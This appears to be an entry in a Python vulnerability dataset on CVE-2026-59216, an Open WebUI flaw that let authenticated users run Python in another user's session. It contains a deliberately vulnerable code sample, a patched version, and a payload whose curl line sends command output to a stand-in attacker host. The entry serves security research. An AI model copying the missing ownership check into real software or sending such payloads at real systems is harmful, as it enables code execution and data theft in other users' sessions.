CVE-2026-59216
Open WebUI allows authenticated users to run code in another user's session.
- CVSS 9.0
- CWE-94
- Authentication, Authorization, and Session Management
- Remote
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, get_event_call delivered execute:python and execute:tool Socket.IO events to a client-supplied session_id after checking only that the session was connected, allowing authenticated users who learned another socket ID through ydoc:document:join to run code interpreter Python or tools in that user session. This issue is fixed in version 0.10.0.
- CWE
- CWE-94
- CVSS base score
- 9.0
- Published
- 2026-07-09
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Direct Object References (IDOR)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Open WebUI
- Fixed by upgrading
- Yes
Solution
Upgrade to Open WebUI version 0.10.0 or later.
Vulnerable code sample
import asyncio
class VulnerableSocketManager:
def __init__(self):
# In a real application, this would be managed by the Socket.IO server
self.connected_sessions = {
"victim_session_id": {"user_id": 1},
"attacker_session_id": {"user_id": 2},
}
async def emit_to_client(self, event, data, room):
# This function is a placeholder for the actual socket.emit()
# It simulates sending the event to the targeted client session.
pass
# This method represents the vulnerable logic triggered by an incoming event.
async def get_event_call(self, requesting_sid, data):
"""
Handles forwarding events to clients.
Args:
requesting_sid (str): The session ID of the client making the request.
data (dict): Payload from the client, including the target session_id.
Example: {
"session_id": "victim_session_id",
"event": "execute:python",
"data": {"code": "print('executed')"}
}
"""
target_session_id = data.get("session_id")
event_name = data.get("event")
event_data = data.get("data")
# The vulnerability lies here: the code only checks if the target
# session is connected, but not if the requesting user is authorized
# to act on that session.
if target_session_id in self.connected_sessions:
# The check passes, allowing the event to be sent to the victim's session.
await self.emit_to_client(
event=event_name,
data=event_data,
room=target_session_id,
)Patched code sample
import asyncio
# The following are mock objects to create a self-contained, representative example.
# In the actual Open WebUI application, these would be part of the server framework.
class MockUser:
"""Represents the currently authenticated user making the request."""
def __init__(self, user_id: str):
self.id = user_id
class MockSocketIOManager:
"""Represents the Socket.IO server state."""
def __init__(self):
# Maps a client's socket ID (sid) to their session data,
# which crucially includes the user ID that owns the session.
self._sessions = {
"socket_id_for_user_A": {"user_id": "user_A_id"},
"socket_id_for_user_B": {"user_id": "user_B_id"},
}
self._connected_sids = set(self._sessions.keys())
def is_connected(self, sid: str) -> bool:
return sid in self._connected_sids
async def get_session(self, sid: str) -> dict:
return self._sessions.get(sid)
async def emit(self, event: str, data: dict, to: str):
# In a real application, this sends the event to the specified client.
print(f"-> Emitting '{event}' to session '{to}' (Owner: {self._sessions[to]['user_id']})")
class MockApp:
"""Represents the main application."""
sio = MockSocketIOManager()
app = MockApp()
async def get_event_call_fixed(session_id: str, event_data: dict, current_user: MockUser):
"""
Fixed event handler that correctly authorizes execution events.
This function represents the logic after the security patch was applied.
"""
event = event_data.get("event")
data = event_data.get("data")
if event == "execute:python" or event == "execute:tool":
# First, retrieve the session data associated with the target socket ID.
session = await app.sio.get_session(session_id)
# THE FIX:
# Before emitting a privileged event, the server now verifies that
# the user ID of the person making the request (`current_user.id`)
# matches the user ID stored in the target session (`session.get("user_id")`).
# The vulnerable version only checked `app.sio.is_connected(session_id)`.
if app.sio.is_connected(session_id) and session and session.get("user_id") == current_user.id:
await app.sio.emit(event, data, to=session_id)
return {"status": True, "detail": "Event sent successfully."}
# If the check fails, the request is denied.
return {"status": False, "detail": f"User '{current_user.id}' not authorized for session '{session_id}'."}Payload
{
"session_id": "TARGET_USER_SOCKET_ID",
"code": "import os; os.system('curl http://attacker-server.com/`id`')"
}
Cite this entry
@misc{vaitp:cve202659216,
title = {{Open WebUI allows authenticated users to run code in another user's session.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59216},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59216/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
